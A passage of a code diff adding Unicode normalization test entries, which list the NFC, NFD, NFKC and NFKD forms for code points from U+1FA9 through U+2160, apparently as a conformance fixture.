+{ source: [0x1FA9], NFC: [0x1FA9], NFD: [0x03A9, 0x0314, 0x0345], NFKC: [0x1FA9], NFKD: [0x03A9, 0x0314, 0x0345] },
+{ source: [0x1FAA], NFC: [0x1FAA], NFD: [0x03A9, 0x0313, 0x0300, 0x0345], NFKC: [0x1FAA], NFKD: [0x03A9, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1FAB], NFC: [0x1FAB], NFD: [0x03A9, 0x0314, 0x0300, 0x0345], NFKC: [0x1FAB], NFKD: [0x03A9, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1FAC], NFC: [0x1FAC], NFD: [0x03A9, 0x0313, 0x0301, 0x0345], NFKC: [0x1FAC], NFKD: [0x03A9, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1FAD], NFC: [0x1FAD], NFD: [0x03A9, 0x0314, 0x0301, 0x0345], NFKC: [0x1FAD], NFKD: [0x03A9, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1FAE], NFC: [0x1FAE], NFD: [0x03A9, 0x0313, 0x0342, 0x0345], NFKC: [0x1FAE], NFKD: [0x03A9, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1FAF], NFC: [0x1FAF], NFD: [0x03A9, 0x0314, 0x0342, 0x0345], NFKC: [0x1FAF], NFKD: [0x03A9, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1FB0], NFC: [0x1FB0], NFD: [0x03B1, 0x0306], NFKC: [0x1FB0], NFKD: [0x03B1, 0x0306] },
+{ source: [0x1FB1], NFC: [0x1FB1], NFD: [0x03B1, 0x0304], NFKC: [0x1FB1], NFKD: [0x03B1, 0x0304] },
+{ source: [0x1FB2], NFC: [0x1FB2], NFD: [0x03B1, 0x0300, 0x0345], NFKC: [0x1FB2], NFKD: [0x03B1, 0x0300, 0x0345] },
+{ source: [0x1FB3], NFC: [0x1FB3], NFD: [0x03B1, 0x0345], NFKC: [0x1FB3], NFKD: [0x03B1, 0x0345] },
+{ source: [0x1FB4], NFC: [0x1FB4], NFD: [0x03B1, 0x0301, 0x0345], NFKC: [0x1FB4], NFKD: [0x03B1, 0x0301, 0x0345] },
+{ source: [0x1FB6], NFC: [0x1FB6], NFD: [0x03B1, 0x0342], NFKC: [0x1FB6], NFKD: [0x03B1, 0x0342] },
+{ source: [0x1FB7], NFC: [0x1FB7], NFD: [0x03B1, 0x0342, 0x0345], NFKC: [0x1FB7], NFKD: [0x03B1, 0x0342, 0x0345] },
+{ source: [0x1FB8], NFC: [0x1FB8], NFD: [0x0391, 0x0306], NFKC: [0x1FB8], NFKD: [0x0391, 0x0306] },
+{ source: [0x1FB9], NFC: [0x1FB9], NFD: [0x0391, 0x0304], NFKC: [0x1FB9], NFKD: [0x0391, 0x0304] },
+{ source: [0x1FBA], NFC: [0x1FBA], NFD: [0x0391, 0x0300], NFKC: [0x1FBA], NFKD: [0x0391, 0x0300] },
+{ source: [0x1FBB], NFC: [0x0386], NFD: [0x0391, 0x0301], NFKC: [0x0386], NFKD: [0x0391, 0x0301] },
+{ source: [0x1FBC], NFC: [0x1FBC], NFD: [0x0391, 0x0345], NFKC: [0x1FBC], NFKD: [0x0391, 0x0345] },
+{ source: [0x1FBD], NFC: [0x1FBD], NFD: [0x1FBD], NFKC: [0x0020, 0x0313], NFKD: [0x0020, 0x0313] },
+{ source: [0x1FBE], NFC: [0x03B9], NFD: [0x03B9], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1FBF], NFC: [0x1FBF], NFD: [0x1FBF], NFKC: [0x0020, 0x0313], NFKD: [0x0020, 0x0313] },
+{ source: [0x1FC0], NFC: [0x1FC0], NFD: [0x1FC0], NFKC: [0x0020, 0x0342], NFKD: [0x0020, 0x0342] },
+{ source: [0x1FC1], NFC: [0x1FC1], NFD: [0x00A8, 0x0342], NFKC: [0x0020, 0x0308, 0x0342], NFKD: [0x0020, 0x0308, 0x0342] },
+{ source: [0x1FC2], NFC: [0x1FC2], NFD: [0x03B7, 0x0300, 0x0345], NFKC: [0x1FC2], NFKD: [0x03B7, 0x0300, 0x0345] },
+{ source: [0x1FC3], NFC: [0x1FC3], NFD: [0x03B7, 0x0345], NFKC: [0x1FC3], NFKD: [0x03B7, 0x0345] },
+{ source: [0x1FC4], NFC: [0x1FC4], NFD: [0x03B7, 0x0301, 0x0345], NFKC: [0x1FC4], NFKD: [0x03B7, 0x0301, 0x0345] },
+{ source: [0x1FC6], NFC: [0x1FC6], NFD: [0x03B7, 0x0342], NFKC: [0x1FC6], NFKD: [0x03B7, 0x0342] },
+{ source: [0x1FC7], NFC: [0x1FC7], NFD: [0x03B7, 0x0342, 0x0345], NFKC: [0x1FC7], NFKD: [0x03B7, 0x0342, 0x0345] },
+{ source: [0x1FC8], NFC: [0x1FC8], NFD: [0x0395, 0x0300], NFKC: [0x1FC8], NFKD: [0x0395, 0x0300] },
+{ source: [0x1FC9], NFC: [0x0388], NFD: [0x0395, 0x0301], NFKC: [0x0388], NFKD: [0x0395, 0x0301] },
+{ source: [0x1FCA], NFC: [0x1FCA], NFD: [0x0397, 0x0300], NFKC: [0x1FCA], NFKD: [0x0397, 0x0300] },
+{ source: [0x1FCB], NFC: [0x0389], NFD: [0x0397, 0x0301], NFKC: [0x0389], NFKD: [0x0397, 0x0301] },
+{ source: [0x1FCC], NFC: [0x1FCC], NFD: [0x0397, 0x0345], NFKC: [0x1FCC], NFKD: [0x0397, 0x0345] },
+{ source: [0x1FCD], NFC: [0x1FCD], NFD: [0x1FBF, 0x0300], NFKC: [0x0020, 0x0313, 0x0300], NFKD: [0x0020, 0x0313, 0x0300] },
+{ source: [0x1FCE], NFC: [0x1FCE], NFD: [0x1FBF, 0x0301], NFKC: [0x0020, 0x0313, 0x0301], NFKD: [0x0020, 0x0313, 0x0301] },
+{ source: [0x1FCF], NFC: [0x1FCF], NFD: [0x1FBF, 0x0342], NFKC: [0x0020, 0x0313, 0x0342], NFKD: [0x0020, 0x0313, 0x0342] },
+{ source: [0x1FD0], NFC: [0x1FD0], NFD: [0x03B9, 0x0306], NFKC: [0x1FD0], NFKD: [0x03B9, 0x0306] },
+{ source: [0x1FD1], NFC: [0x1FD1], NFD: [0x03B9, 0x0304], NFKC: [0x1FD1], NFKD: [0x03B9, 0x0304] },
+{ source: [0x1FD2], NFC: [0x1FD2], NFD: [0x03B9, 0x0308, 0x0300], NFKC: [0x1FD2], NFKD: [0x03B9, 0x0308, 0x0300] },
+{ source: [0x1FD3], NFC: [0x0390], NFD: [0x03B9, 0x0308, 0x0301], NFKC: [0x0390], NFKD: [0x03B9, 0x0308, 0x0301] },
+{ source: [0x1FD6], NFC: [0x1FD6], NFD: [0x03B9, 0x0342], NFKC: [0x1FD6], NFKD: [0x03B9, 0x0342] },
+{ source: [0x1FD7], NFC: [0x1FD7], NFD: [0x03B9, 0x0308, 0x0342], NFKC: [0x1FD7], NFKD: [0x03B9, 0x0308, 0x0342] },
+{ source: [0x1FD8], NFC: [0x1FD8], NFD: [0x0399, 0x0306], NFKC: [0x1FD8], NFKD: [0x0399, 0x0306] },
+{ source: [0x1FD9], NFC: [0x1FD9], NFD: [0x0399, 0x0304], NFKC: [0x1FD9], NFKD: [0x0399, 0x0304] },
+{ source: [0x1FDA], NFC: [0x1FDA], NFD: [0x0399, 0x0300], NFKC: [0x1FDA], NFKD: [0x0399, 0x0300] },
+{ source: [0x1FDB], NFC: [0x038A], NFD: [0x0399, 0x0301], NFKC: [0x038A], NFKD: [0x0399, 0x0301] },
+{ source: [0x1FDD], NFC: [0x1FDD], NFD: [0x1FFE, 0x0300], NFKC: [0x0020, 0x0314, 0x0300], NFKD: [0x0020, 0x0314, 0x0300] },
+{ source: [0x1FDE], NFC: [0x1FDE], NFD: [0x1FFE, 0x0301], NFKC: [0x0020, 0x0314, 0x0301], NFKD: [0x0020, 0x0314, 0x0301] },
+{ source: [0x1FDF], NFC: [0x1FDF], NFD: [0x1FFE, 0x0342], NFKC: [0x0020, 0x0314, 0x0342], NFKD: [0x0020, 0x0314, 0x0342] },
+{ source: [0x1FE0], NFC: [0x1FE0], NFD: [0x03C5, 0x0306], NFKC: [0x1FE0], NFKD: [0x03C5, 0x0306] },
+{ source: [0x1FE1], NFC: [0x1FE1], NFD: [0x03C5, 0x0304], NFKC: [0x1FE1], NFKD: [0x03C5, 0x0304] },
+{ source: [0x1FE2], NFC: [0x1FE2], NFD: [0x03C5, 0x0308, 0x0300], NFKC: [0x1FE2], NFKD: [0x03C5, 0x0308, 0x0300] },
+{ source: [0x1FE3], NFC: [0x03B0], NFD: [0x03C5, 0x0308, 0x0301], NFKC: [0x03B0], NFKD: [0x03C5, 0x0308, 0x0301] },
+{ source: [0x1FE4], NFC: [0x1FE4], NFD: [0x03C1, 0x0313], NFKC: [0x1FE4], NFKD: [0x03C1, 0x0313] },
+{ source: [0x1FE5], NFC: [0x1FE5], NFD: [0x03C1, 0x0314], NFKC: [0x1FE5], NFKD: [0x03C1, 0x0314] },
+{ source: [0x1FE6], NFC: [0x1FE6], NFD: [0x03C5, 0x0342], NFKC: [0x1FE6], NFKD: [0x03C5, 0x0342] },
+{ source: [0x1FE7], NFC: [0x1FE7], NFD: [0x03C5, 0x0308, 0x0342], NFKC: [0x1FE7], NFKD: [0x03C5, 0x0308, 0x0342] },
+{ source: [0x1FE8], NFC: [0x1FE8], NFD: [0x03A5, 0x0306], NFKC: [0x1FE8], NFKD: [0x03A5, 0x0306] },
+{ source: [0x1FE9], NFC: [0x1FE9], NFD: [0x03A5, 0x0304], NFKC: [0x1FE9], NFKD: [0x03A5, 0x0304] },
+{ source: [0x1FEA], NFC: [0x1FEA], NFD: [0x03A5, 0x0300], NFKC: [0x1FEA], NFKD: [0x03A5, 0x0300] },
+{ source: [0x1FEB], NFC: [0x038E], NFD: [0x03A5, 0x0301], NFKC: [0x038E], NFKD: [0x03A5, 0x0301] },
+{ source: [0x1FEC], NFC: [0x1FEC], NFD: [0x03A1, 0x0314], NFKC: [0x1FEC], NFKD: [0x03A1, 0x0314] },
+{ source: [0x1FED], NFC: [0x1FED], NFD: [0x00A8, 0x0300], NFKC: [0x0020, 0x0308, 0x0300], NFKD: [0x0020, 0x0308, 0x0300] },
+{ source: [0x1FEE], NFC: [0x0385], NFD: [0x00A8, 0x0301], NFKC: [0x0020, 0x0308, 0x0301], NFKD: [0x0020, 0x0308, 0x0301] },
+{ source: [0x1FEF], NFC: [0x0060], NFD: [0x0060], NFKC: [0x0060], NFKD: [0x0060] },
+{ source: [0x1FF2], NFC: [0x1FF2], NFD: [0x03C9, 0x0300, 0x0345], NFKC: [0x1FF2], NFKD: [0x03C9, 0x0300, 0x0345] },
+{ source: [0x1FF3], NFC: [0x1FF3], NFD: [0x03C9, 0x0345], NFKC: [0x1FF3], NFKD: [0x03C9, 0x0345] },
+{ source: [0x1FF4], NFC: [0x1FF4], NFD: [0x03C9, 0x0301, 0x0345], NFKC: [0x1FF4], NFKD: [0x03C9, 0x0301, 0x0345] },
+{ source: [0x1FF6], NFC: [0x1FF6], NFD: [0x03C9, 0x0342], NFKC: [0x1FF6], NFKD: [0x03C9, 0x0342] },
+{ source: [0x1FF7], NFC: [0x1FF7], NFD: [0x03C9, 0x0342, 0x0345], NFKC: [0x1FF7], NFKD: [0x03C9, 0x0342, 0x0345] },
+{ source: [0x1FF8], NFC: [0x1FF8], NFD: [0x039F, 0x0300], NFKC: [0x1FF8], NFKD: [0x039F, 0x0300] },
+{ source: [0x1FF9], NFC: [0x038C], NFD: [0x039F, 0x0301], NFKC: [0x038C], NFKD: [0x039F, 0x0301] },
+{ source: [0x1FFA], NFC: [0x1FFA], NFD: [0x03A9, 0x0300], NFKC: [0x1FFA], NFKD: [0x03A9, 0x0300] },
+{ source: [0x1FFB], NFC: [0x038F], NFD: [0x03A9, 0x0301], NFKC: [0x038F], NFKD: [0x03A9, 0x0301] },
+{ source: [0x1FFC], NFC: [0x1FFC], NFD: [0x03A9, 0x0345], NFKC: [0x1FFC], NFKD: [0x03A9, 0x0345] },
+{ source: [0x1FFD], NFC: [0x00B4], NFD: [0x00B4], NFKC: [0x0020, 0x0301], NFKD: [0x0020, 0x0301] },
+{ source: [0x1FFE], NFC: [0x1FFE], NFD: [0x1FFE], NFKC: [0x0020, 0x0314], NFKD: [0x0020, 0x0314] },
+{ source: [0x2000], NFC: [0x2002], NFD: [0x2002], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2001], NFC: [0x2003], NFD: [0x2003], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2002], NFC: [0x2002], NFD: [0x2002], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2003], NFC: [0x2003], NFD: [0x2003], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2004], NFC: [0x2004], NFD: [0x2004], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2005], NFC: [0x2005], NFD: [0x2005], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2006], NFC: [0x2006], NFD: [0x2006], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2007], NFC: [0x2007], NFD: [0x2007], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2008], NFC: [0x2008], NFD: [0x2008], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2009], NFC: [0x2009], NFD: [0x2009], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x200A], NFC: [0x200A], NFD: [0x200A], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2011], NFC: [0x2011], NFD: [0x2011], NFKC: [0x2010], NFKD: [0x2010] },
+{ source: [0x2017], NFC: [0x2017], NFD: [0x2017], NFKC: [0x0020, 0x0333], NFKD: [0x0020, 0x0333] },
+{ source: [0x2024], NFC: [0x2024], NFD: [0x2024], NFKC: [0x002E], NFKD: [0x002E] },
+{ source: [0x2025], NFC: [0x2025], NFD: [0x2025], NFKC: [0x002E, 0x002E], NFKD: [0x002E, 0x002E] },
+{ source: [0x2026], NFC: [0x2026], NFD: [0x2026], NFKC: [0x002E, 0x002E, 0x002E], NFKD: [0x002E, 0x002E, 0x002E] },
+{ source: [0x202F], NFC: [0x202F], NFD: [0x202F], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2033], NFC: [0x2033], NFD: [0x2033], NFKC: [0x2032, 0x2032], NFKD: [0x2032, 0x2032] },
+{ source: [0x2034], NFC: [0x2034], NFD: [0x2034], NFKC: [0x2032, 0x2032, 0x2032], NFKD: [0x2032, 0x2032, 0x2032] },
+{ source: [0x2036], NFC: [0x2036], NFD: [0x2036], NFKC: [0x2035, 0x2035], NFKD: [0x2035, 0x2035] },
+{ source: [0x2037], NFC: [0x2037], NFD: [0x2037], NFKC: [0x2035, 0x2035, 0x2035], NFKD: [0x2035, 0x2035, 0x2035] },
+{ source: [0x203C], NFC: [0x203C], NFD: [0x203C], NFKC: [0x0021, 0x0021], NFKD: [0x0021, 0x0021] },
+{ source: [0x203E], NFC: [0x203E], NFD: [0x203E], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0x2047], NFC: [0x2047], NFD: [0x2047], NFKC: [0x003F, 0x003F], NFKD: [0x003F, 0x003F] },
+{ source: [0x2048], NFC: [0x2048], NFD: [0x2048], NFKC: [0x003F, 0x0021], NFKD: [0x003F, 0x0021] },
+{ source: [0x2049], NFC: [0x2049], NFD: [0x2049], NFKC: [0x0021, 0x003F], NFKD: [0x0021, 0x003F] },
+{ source: [0x2057], NFC: [0x2057], NFD: [0x2057], NFKC: [0x2032, 0x2032, 0x2032, 0x2032], NFKD: [0x2032, 0x2032, 0x2032, 0x2032] },
+{ source: [0x205F], NFC: [0x205F], NFD: [0x205F], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2070], NFC: [0x2070], NFD: [0x2070], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x2071], NFC: [0x2071], NFD: [0x2071], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x2074], NFC: [0x2074], NFD: [0x2074], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x2075], NFC: [0x2075], NFD: [0x2075], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x2076], NFC: [0x2076], NFD: [0x2076], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x2077], NFC: [0x2077], NFD: [0x2077], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x2078], NFC: [0x2078], NFD: [0x2078], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x2079], NFC: [0x2079], NFD: [0x2079], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x207A], NFC: [0x207A], NFD: [0x207A], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0x207B], NFC: [0x207B], NFD: [0x207B], NFKC: [0x2212], NFKD: [0x2212] },
+{ source: [0x207C], NFC: [0x207C], NFD: [0x207C], NFKC: [0x003D], NFKD: [0x003D] },
+{ source: [0x207D], NFC: [0x207D], NFD: [0x207D], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0x207E], NFC: [0x207E], NFD: [0x207E], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0x207F], NFC: [0x207F], NFD: [0x207F], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x2080], NFC: [0x2080], NFD: [0x2080], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x2081], NFC: [0x2081], NFD: [0x2081], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x2082], NFC: [0x2082], NFD: [0x2082], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x2083], NFC: [0x2083], NFD: [0x2083], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x2084], NFC: [0x2084], NFD: [0x2084], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x2085], NFC: [0x2085], NFD: [0x2085], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x2086], NFC: [0x2086], NFD: [0x2086], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x2087], NFC: [0x2087], NFD: [0x2087], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x2088], NFC: [0x2088], NFD: [0x2088], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x2089], NFC: [0x2089], NFD: [0x2089], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x208A], NFC: [0x208A], NFD: [0x208A], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0x208B], NFC: [0x208B], NFD: [0x208B], NFKC: [0x2212], NFKD: [0x2212] },
+{ source: [0x208C], NFC: [0x208C], NFD: [0x208C], NFKC: [0x003D], NFKD: [0x003D] },
+{ source: [0x208D], NFC: [0x208D], NFD: [0x208D], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0x208E], NFC: [0x208E], NFD: [0x208E], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0x2090], NFC: [0x2090], NFD: [0x2090], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x2091], NFC: [0x2091], NFD: [0x2091], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x2092], NFC: [0x2092], NFD: [0x2092], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x2093], NFC: [0x2093], NFD: [0x2093], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x2094], NFC: [0x2094], NFD: [0x2094], NFKC: [0x0259], NFKD: [0x0259] },
+{ source: [0x2095], NFC: [0x2095], NFD: [0x2095], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x2096], NFC: [0x2096], NFD: [0x2096], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x2097], NFC: [0x2097], NFD: [0x2097], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x2098], NFC: [0x2098], NFD: [0x2098], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x2099], NFC: [0x2099], NFD: [0x2099], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x209A], NFC: [0x209A], NFD: [0x209A], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x209B], NFC: [0x209B], NFD: [0x209B], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x209C], NFC: [0x209C], NFD: [0x209C], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x20A8], NFC: [0x20A8], NFD: [0x20A8], NFKC: [0x0052, 0x0073], NFKD: [0x0052, 0x0073] },
+{ source: [0x2100], NFC: [0x2100], NFD: [0x2100], NFKC: [0x0061, 0x002F, 0x0063], NFKD: [0x0061, 0x002F, 0x0063] },
+{ source: [0x2101], NFC: [0x2101], NFD: [0x2101], NFKC: [0x0061, 0x002F, 0x0073], NFKD: [0x0061, 0x002F, 0x0073] },
+{ source: [0x2102], NFC: [0x2102], NFD: [0x2102], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x2103], NFC: [0x2103], NFD: [0x2103], NFKC: [0x00B0, 0x0043], NFKD: [0x00B0, 0x0043] },
+{ source: [0x2105], NFC: [0x2105], NFD: [0x2105], NFKC: [0x0063, 0x002F, 0x006F], NFKD: [0x0063, 0x002F, 0x006F] },
+{ source: [0x2106], NFC: [0x2106], NFD: [0x2106], NFKC: [0x0063, 0x002F, 0x0075], NFKD: [0x0063, 0x002F, 0x0075] },
+{ source: [0x2107], NFC: [0x2107], NFD: [0x2107], NFKC: [0x0190], NFKD: [0x0190] },
+{ source: [0x2109], NFC: [0x2109], NFD: [0x2109], NFKC: [0x00B0, 0x0046], NFKD: [0x00B0, 0x0046] },
+{ source: [0x210A], NFC: [0x210A], NFD: [0x210A], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x210B], NFC: [0x210B], NFD: [0x210B], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x210C], NFC: [0x210C], NFD: [0x210C], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x210D], NFC: [0x210D], NFD: [0x210D], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x210E], NFC: [0x210E], NFD: [0x210E], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x210F], NFC: [0x210F], NFD: [0x210F], NFKC: [0x0127], NFKD: [0x0127] },
+{ source: [0x2110], NFC: [0x2110], NFD: [0x2110], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x2111], NFC: [0x2111], NFD: [0x2111], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x2112], NFC: [0x2112], NFD: [0x2112], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x2113], NFC: [0x2113], NFD: [0x2113], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x2115], NFC: [0x2115], NFD: [0x2115], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x2116], NFC: [0x2116], NFD: [0x2116], NFKC: [0x004E, 0x006F], NFKD: [0x004E, 0x006F] },
+{ source: [0x2119], NFC: [0x2119], NFD: [0x2119], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x211A], NFC: [0x211A], NFD: [0x211A], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x211B], NFC: [0x211B], NFD: [0x211B], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x211C], NFC: [0x211C], NFD: [0x211C], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x211D], NFC: [0x211D], NFD: [0x211D], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x2120], NFC: [0x2120], NFD: [0x2120], NFKC: [0x0053, 0x004D], NFKD: [0x0053, 0x004D] },
+{ source: [0x2121], NFC: [0x2121], NFD: [0x2121], NFKC: [0x0054, 0x0045, 0x004C], NFKD: [0x0054, 0x0045, 0x004C] },
+{ source: [0x2122], NFC: [0x2122], NFD: [0x2122], NFKC: [0x0054, 0x004D], NFKD: [0x0054, 0x004D] },
+{ source: [0x2124], NFC: [0x2124], NFD: [0x2124], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x2126], NFC: [0x03A9], NFD: [0x03A9], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x2128], NFC: [0x2128], NFD: [0x2128], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x212A], NFC: [0x004B], NFD: [0x004B], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x212B], NFC: [0x00C5], NFD: [0x0041, 0x030A], NFKC: [0x00C5], NFKD: [0x0041, 0x030A] },
+{ source: [0x212C], NFC: [0x212C], NFD: [0x212C], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x212D], NFC: [0x212D], NFD: [0x212D], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x212F], NFC: [0x212F], NFD: [0x212F], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x2130], NFC: [0x2130], NFD: [0x2130], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x2131], NFC: [0x2131], NFD: [0x2131], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x2133], NFC: [0x2133], NFD: [0x2133], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x2134], NFC: [0x2134], NFD: [0x2134], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x2135], NFC: [0x2135], NFD: [0x2135], NFKC: [0x05D0], NFKD: [0x05D0] },
+{ source: [0x2136], NFC: [0x2136], NFD: [0x2136], NFKC: [0x05D1], NFKD: [0x05D1] },
+{ source: [0x2137], NFC: [0x2137], NFD: [0x2137], NFKC: [0x05D2], NFKD: [0x05D2] },
+{ source: [0x2138], NFC: [0x2138], NFD: [0x2138], NFKC: [0x05D3], NFKD: [0x05D3] },
+{ source: [0x2139], NFC: [0x2139], NFD: [0x2139], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x213B], NFC: [0x213B], NFD: [0x213B], NFKC: [0x0046, 0x0041, 0x0058], NFKD: [0x0046, 0x0041, 0x0058] },
+{ source: [0x213C], NFC: [0x213C], NFD: [0x213C], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x213D], NFC: [0x213D], NFD: [0x213D], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x213E], NFC: [0x213E], NFD: [0x213E], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x213F], NFC: [0x213F], NFD: [0x213F], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x2140], NFC: [0x2140], NFD: [0x2140], NFKC: [0x2211], NFKD: [0x2211] },
+{ source: [0x2145], NFC: [0x2145], NFD: [0x2145], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x2146], NFC: [0x2146], NFD: [0x2146], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x2147], NFC: [0x2147], NFD: [0x2147], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x2148], NFC: [0x2148], NFD: [0x2148], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x2149], NFC: [0x2149], NFD: [0x2149], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x2150], NFC: [0x2150], NFD: [0x2150], NFKC: [0x0031, 0x2044, 0x0037], NFKD: [0x0031, 0x2044, 0x0037] },
+{ source: [0x2151], NFC: [0x2151], NFD: [0x2151], NFKC: [0x0031, 0x2044, 0x0039], NFKD: [0x0031, 0x2044, 0x0039] },
+{ source: [0x2152], NFC: [0x2152], NFD: [0x2152], NFKC: [0x0031, 0x2044, 0x0031, 0x0030], NFKD: [0x0031, 0x2044, 0x0031, 0x0030] },
+{ source: [0x2153], NFC: [0x2153], NFD: [0x2153], NFKC: [0x0031, 0x2044, 0x0033], NFKD: [0x0031, 0x2044, 0x0033] },
+{ source: [0x2154], NFC: [0x2154], NFD: [0x2154], NFKC: [0x0032, 0x2044, 0x0033], NFKD: [0x0032, 0x2044, 0x0033] },
+{ source: [0x2155], NFC: [0x2155], NFD: [0x2155], NFKC: [0x0031, 0x2044, 0x0035], NFKD: [0x0031, 0x2044, 0x0035] },
+{ source: [0x2156], NFC: [0x2156], NFD: [0x2156], NFKC: [0x0032, 0x2044, 0x0035], NFKD: [0x0032, 0x2044, 0x0035] },
+{ source: [0x2157], NFC: [0x2157], NFD: [0x2157], NFKC: [0x0033, 0x2044, 0x0035], NFKD: [0x0033, 0x2044, 0x0035] },
+{ source: [0x2158], NFC: [0x2158], NFD: [0x2158], NFKC: [0x0034, 0x2044, 0x0035], NFKD: [0x0034, 0x2044, 0x0035] },
+{ source: [0x2159], NFC: [0x2159], NFD: [0x2159], NFKC: [0x0031, 0x2044, 0x0036], NFKD: [0x0031, 0x2044, 0x0036] },
+{ source: [0x215A], NFC: [0x215A], NFD: [0x215A], NFKC: [0x0035, 0x2044, 0x0036], NFKD: [0x0035, 0x2044, 0x0036] },
+{ source: [0x215B], NFC: [0x215B], NFD: [0x215B], NFKC: [0x0031, 0x2044, 0x0038], NFKD: [0x0031, 0x2044, 0x0038] },
+{ source: [0x215C], NFC: [0x215C], NFD: [0x215C], NFKC: [0x0033, 0x2044, 0x0038], NFKD: [0x0033, 0x2044, 0x0038] },
+{ source: [0x215D], NFC: [0x215D], NFD: [0x215D], NFKC: [0x0035, 0x2044, 0x0038], NFKD: [0x0035, 0x2044, 0x0038] },
+{ source: [0x215E], NFC: [0x215E], NFD: [0x215E], NFKC: [0x0037, 0x2044, 0x0038], NFKD: [0x0037, 0x2044, 0x0038] },
+{ source: [0x215F], NFC: [0x215F], NFD: [0x215F], NFKC: [0x0031, 0x2044], NFKD: [0x0031, 0x2044] },
+{ source: [0x2160], NFC: [0x2160], NFD: [0x2160], NFKC: [0x0049], NFKD: [0x0049] },
